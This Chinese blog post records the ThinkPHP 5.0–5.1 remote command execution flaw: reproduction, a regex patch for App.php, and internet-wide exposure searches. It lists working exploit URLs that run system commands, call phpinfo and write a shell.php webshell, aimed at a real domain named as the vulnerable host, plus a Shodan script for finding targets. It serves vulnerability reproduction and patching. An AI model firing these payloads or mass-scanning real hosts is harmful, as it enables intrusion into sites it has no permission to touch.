A-A+
thinkphp 5.0-5.1 命令执行流水账记录
0x00 没有开头
- 环境部署安排一下

bt一键部署:配合泛解析域名,轻松部署环境
- 漏洞复现
qq.com
为vuln host
http://qq.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[l][]=id
//5.1
http://qq.com/?s=index/\think\Request/input&filter=phpinfo&data=1
http://qq.com/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://qq.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

- IM应急通知


- 平台查看

- 漏洞补丁分析
URL thinkphp5.1修复 : 控制器检测调整到UrlDispatcher

URL thinkphp5.0修复: 改进控制器获取
官方有个小问题,改完后会404,改下正则就好了,加上\/
.
cp ./thinkphp/library/think/App.php ./thinkphp/library/think/App.php
//add after 553 line
if (!preg_match('/^[A-Za-z\/](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

- 全网影响范围
URL:shodan thinkphp
 - 一键jio本启动
python ~/censys/shodanapi.py '"X-Powered-By: ThinkPHP"'

- 扫描器启动(别人的图:不要抓我)

0x01 文章参考
- Cond0r: ThinkPHP 5.1代码执行漏洞分析
👍
- ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)
👍
- thinkphp5框架缺陷导致远程代码执行
原文链接:https://iaq.pw/archives/106